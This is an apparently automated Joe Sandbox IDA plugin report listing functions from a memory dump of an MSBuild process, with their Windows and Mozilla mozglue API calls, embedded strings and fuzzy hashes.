Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: d963ae45bc851d8561d991ec9df2646cd18eec6a5e1be560aa749dd490da0889
Instruction ID: efc9dea136018fe01ca253ddb4428ab530f6c9a213a199dfdd39ab22e34b8b46
Opcode Fuzzy Hash: d963ae45bc851d8561d991ec9df2646cd18eec6a5e1be560aa749dd490da0889
Instruction Fuzzy Hash: BC4182B0E002449FDB04CFA4D845B9EB771FF04334F148629E926AF391E7799941CBA1

Function 6BCA4310 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000010,?,6BCA42D2), ref: 6BCA436A

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memcpy.VCRUNTIME140(00000023,?,?,?,?,6BCA42D2), ref: 6BCA4387
moz_xmalloc.MOZGLUE(80000023,?,6BCA42D2), ref: 6BCA43B7
free.MOZGLUE(00000000,?,6BCA42D2), ref: 6BCA43EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BCA42D2), ref: 6BCA4406

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemallocmemcpy
String ID:
API String ID: 2563754823-0
Opcode ID: f11ec4ba509da34e79bc710462e3083271ee2c1b443443604010f532613dcc4c
Instruction ID: b9af2c9c635646f2e638c9f9fdfb9face4803e92005a3844f20c2b64a478f778
Opcode Fuzzy Hash: f11ec4ba509da34e79bc710462e3083271ee2c1b443443604010f532613dcc4c
Instruction Fuzzy Hash: 79313972A111168FD714EEB99C8156FB7A6EF40320B100A39E915DB3C0FF34EA0083A2

Function 6BD0AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6BD1E330,?,6BCCC059), ref: 6BD0AD9D

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6BD1E330,?,6BCCC059), ref: 6BD0ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6BD1E330,?,6BCCC059), ref: 6BD0AE01
GetLastError.KERNEL32(?,00000000,?,?,6BD1E330,?,6BCCC059), ref: 6BD0AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6BD1E330,?,6BCCC059), ref: 6BD0AE3D

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: f399e0f7e821a6001a0fa48454371527149399af1e74f77333a436d70a292e99
Instruction ID: c8ae04ff03982a6e7021ab5489dd21090a2e7677c351c87b2b8c34a0058cee1b
Opcode Fuzzy Hash: f399e0f7e821a6001a0fa48454371527149399af1e74f77333a436d70a292e99
Instruction Fuzzy Hash: B63164B1A006159FDB10DF799C45A6BB7F8EF49620F05442DE95ADB200FB38E940CBB0

Function 6BD00B90 Relevance: 7.6, APIs: 5, Instructions: 92timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BBC

Part of subcall function 6BCC5C50: GetTickCount64.KERNEL32 ref: 6BCC5D40
Part of subcall function 6BCC5C50: EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5D67

?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BCA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BD5

Part of subcall function 6BCC5C50: __aulldiv.LIBCMT ref: 6BCC5DB4
Part of subcall function 6BCC5C50: LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BE2
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BD00C9A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalSection$BaseCount64Creation@DurationEnterLeavePlatformProcessSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@__aulldiv
String ID:
API String ID: 3168180809-0
Opcode ID: 6cdc1d30ad7c018f761f40e8a5d9563e4fd132e702f1160178e534519ee97d32
Instruction ID: 6dcd884097b4601777415f4a4a86f94d16ec73f7c5b22c6fd84d90ad38f6762e
Opcode Fuzzy Hash: 6cdc1d30ad7c018f761f40e8a5d9563e4fd132e702f1160178e534519ee97d32
Instruction Fuzzy Hash: 1231F571A147149BC714DF38888111BB7E8AF867B0F504B1EF8AAA72D0EF74D9458B92

Function 6BD05EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6BD1DCA0,?,?,?,6BCDE8B5,00000000), ref: 6BD05F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6BCDE8B5,00000000), ref: 6BD05F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6BCDE8B5,00000000), ref: 6BD05F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6BCDE8B5,00000000), ref: 6BD05F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6BCDE8B5,00000000), ref: 6BD05FD6

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 091a5a63b5a947137b62b9c2a4057157f3d70cadd07018452ac72c95ea4cddb1
Instruction ID: 328b9cd506fab713cdcb81368c6baefd663a53d62c91b71d6dbb4f6fe17309fb
Opcode Fuzzy Hash: 091a5a63b5a947137b62b9c2a4057157f3d70cadd07018452ac72c95ea4cddb1
Instruction Fuzzy Hash: A5310D34201600CFD710CF29C4D8A6ABBE5FF89729B548559EE5A8B795CB79EC41CB80

Function 6BCAB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BCAB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BCAB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BCAB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BCAB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCAB849

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: aec3137a5448ca410c7c1e936e0ee3912bdeb58dfc9eb00c27479e2716171f9d
Instruction ID: 38b535ffd9ef8f4b6bececf1f501cbb2cd97a6dd23681c04f84b3fcfe5e9163b
Opcode Fuzzy Hash: aec3137a5448ca410c7c1e936e0ee3912bdeb58dfc9eb00c27479e2716171f9d
Instruction Fuzzy Hash: E1214DB0D0020A9FDF04CFA9D8855BFBBB4EF49714F14806AE905AB301E735AA44CBA1

Function 6BCB6390 Relevance: 7.6, APIs: 5, Instructions: 72threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCB63D0
AcquireSRWLockExclusive.KERNEL32 ref: 6BCB63DF
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCB640E
__Init_thread_footer.LIBCMT ref: 6BCB6467
??$AddMarkerToBuffer@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BCB64A8

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Marker$D@std@@ExclusiveLockProfileTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferBuffer@Buffer@1@Category@1@$$ChunkedCurrentD@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Init_thread_footerMarker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfilerReleaseStringThreadView@
String ID:
API String ID: 3202982786-0
Opcode ID: e56bcaf968369dd6b83e05e09d8f7d2aa12ef73d9da2899031ea617a6c101f06
Instruction ID: 8b2306575874ff9e5ef500929e1ef9bea2ec60fea3122cb2ee88cb9646ff691e
Opcode Fuzzy Hash: e56bcaf968369dd6b83e05e09d8f7d2aa12ef73d9da2899031ea617a6c101f06
Instruction Fuzzy Hash: 07317CB54146828FEB00DF68D08565AFBF0FB86718F10492EDA958B340E778A546CF63

Function 6BD06E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6BD06E78

Part of subcall function 6BD06A10: InitializeCriticalSection.KERNEL32(6BD2F618), ref: 6BD06A68
Part of subcall function 6BD06A10: GetCurrentProcess.KERNEL32 ref: 6BD06A7D
Part of subcall function 6BD06A10: GetCurrentProcess.KERNEL32 ref: 6BD06AA1
Part of subcall function 6BD06A10: EnterCriticalSection.KERNEL32(6BD2F618), ref: 6BD06AAE
Part of subcall function 6BD06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BD06AE1
Part of subcall function 6BD06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BD06B15
Part of subcall function 6BD06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6BD06B65
Part of subcall function 6BD06A10: LeaveCriticalSection.KERNEL32(6BD2F618,?,?), ref: 6BD06B83

MozFormatCodeAddress.MOZGLUE ref: 6BD06EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BD06EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BD06EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6BD06EFF

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: b8681de857d6c41869478070eb2dab84e9c8c114420bbf8ca2d523cf5304ad40
Instruction ID: e884bf5589fd7f18f9039ab7a39e934959483df29cb864ea253ce31d84a7f7a0
Opcode Fuzzy Hash: b8681de857d6c41869478070eb2dab84e9c8c114420bbf8ca2d523cf5304ad40
Instruction Fuzzy Hash: 6E21C17190421A8FDB00CF29D88569EBBF4FF84318F004039E9099B240EB749A98CF92

Function 6BD076C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6BD076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6BD07705

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6BD07717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6BD0778F,00000000,00000000,00000000,00000000), ref: 6BD07731
free.MOZGLUE(00000000), ref: 6BD07760

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: d72f9228142c8ae85da23f712319557cad022608aa4ded8b87e4748e288909ee
Instruction ID: 6c40ebae94ec2428b23db18db3bda3f9d27a8a2685d75bd2b043de373926f7ea
Opcode Fuzzy Hash: d72f9228142c8ae85da23f712319557cad022608aa4ded8b87e4748e288909ee
Instruction Fuzzy Hash: 3411C8B1901215ABE7109F759C45B6BBEE8EF86364F044429F988EB200FB75894087F2

Function 6BD09B50 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BD09B74
?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BD09BBA
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BD09BC8
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BD09BD7
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?,?,?), ref: 6BD09BE0

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Decimal@blink@@$V01@V01@@$V12@$?ceil@?floor@
String ID:
API String ID: 2380687156-0
Opcode ID: 09d4950b5c7f7dfcb1fc067745b507499b4ce05c2fd66dc90dc13c03fcfd7dd1
Instruction ID: f4f849767cc9212f51124d4cdeca22974959201abdd94b393d4dcb9a2771bb86
Opcode Fuzzy Hash: 09d4950b5c7f7dfcb1fc067745b507499b4ce05c2fd66dc90dc13c03fcfd7dd1
Instruction Fuzzy Hash: AE117072918748A787009F78CC8189FB7A8FFC6374F004A1DF9954A142EF39D648C7A2

Function 6BD05850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6BD0586C
CloseHandle.KERNEL32 ref: 6BD05878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6BD05898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BD058C9
free.MOZGLUE(00000000), ref: 6BD058D3

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 9c7c9eb1e12d8c4a2f03ce4ef30cd28e062212dc4de70dcc9370cf867c6bf1b1
Instruction ID: 3427162ba6d309dbdfe42b990f034b74fc80ae4b006c59d1d61c4d08c63d1713
Opcode Fuzzy Hash: 9c7c9eb1e12d8c4a2f03ce4ef30cd28e062212dc4de70dcc9370cf867c6bf1b1
Instruction Fuzzy Hash: 8B014F719041819BFF009F15D948606FFB8EB833297244977EB19DE210DB35D8119F81

Function 6BCE0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6BCA3DEF), ref: 6BCE0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6BCA3DEF), ref: 6BCE0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6BCA3DEF), ref: 6BCE0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BCE0D97, 6BCE0DBE
<jemalloc>, xrefs: 6BCE0D92, 6BCE0DB9

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: c203a845a6d55c56fd8379087dd8017ef0c3e72a0c149eee50855ad51b1197f2
Instruction ID: 62f711fd0b861cfecde6b1ea2f5809ac860a119c6a0ca649a76961881f659875
Opcode Fuzzy Hash: c203a845a6d55c56fd8379087dd8017ef0c3e72a0c149eee50855ad51b1197f2
Instruction Fuzzy Hash: 9BF0BB317A139462E51413654C07B16675E77C1B65F204066F714DE1C0FEBDE60247F5

Function 6BCF7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6BCF75C4,?), ref: 6BCF762B

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6BCF74D7,6BD015FC,?,?,?), ref: 6BCF7644
GetCurrentThreadId.KERNEL32 ref: 6BCF765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6BCF74D7,6BD015FC,?,?,?), ref: 6BCF7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6BCF74D7,6BD015FC,?,?,?), ref: 6BCF7677

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 99184c7516fb89564c22ce4268b4d62cd30d4e8ab3e1f97aabe01ee256f79a5f
Instruction ID: 3ca4ede285ae89293611ada8b17c69fe1c51c6eab004908b080b553e428f4f93
Opcode Fuzzy Hash: 99184c7516fb89564c22ce4268b4d62cd30d4e8ab3e1f97aabe01ee256f79a5f
Instruction Fuzzy Hash: 6BF0AF71D10785ABE7008F21C888676B778FFEA259F214317FA0556641E7B0A5D08BD0

Function 6BD01700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6BD01800

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Part of subcall function 6BCA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BCE3EBD,6BCE3EBD,00000000), ref: 6BCA42A9

Strings

name, xrefs: 6BD01939
Details, xrefs: 6BD01925
{marker.name} - {marker.data.name}, xrefs: 6BD018C7

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 353a6020c95b68cf98b190cdba94845a827fc9cfbc12793af0a61b7edf79f1b3
Instruction ID: 3c46910c07521483c75ff75db473722b3f8a460719f52b54af35be60c3d61b11
Opcode Fuzzy Hash: 353a6020c95b68cf98b190cdba94845a827fc9cfbc12793af0a61b7edf79f1b3
Instruction Fuzzy Hash: 7471FEB09106469FDB04CF38D45179AFBB1FF85314F404669E9154F341EB78A694CBE2

Function 6BD0B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6BD0B0A6,6BD0B0A6,?,6BD0AF67,?,00000010,?,6BD0AF67,?,00000010,00000000,?,?,6BD0AB1F), ref: 6BD0B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6BD0B0A6,6BD0B0A6,?,6BD0AF67,?,00000010,?,6BD0AF67,?,00000010,00000000,?), ref: 6BD0B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6BD0B0A6,6BD0B0A6,?,6BD0AF67,?,00000010,?,6BD0AF67,?,00000010), ref: 6BD0B25F

Strings

map/set<T> too long, xrefs: 6BD0B1FA

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: f6cf33cc3f1c37130d09c97bce2fd9c32ec0df23eb62e8a90ef0137a06b98319
Instruction ID: 352a82a8c6fa6c54dde9b4d0da0d309a25270525db3a6c9656130687443291a1
Opcode Fuzzy Hash: f6cf33cc3f1c37130d09c97bce2fd9c32ec0df23eb62e8a90ef0137a06b98319
Instruction Fuzzy Hash: 4F616C74A08245DFD701CF29C480A9ABBE1FF49324F18C4A9D8595F392D739EC41CB92

Function 6BCF4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BCF4721

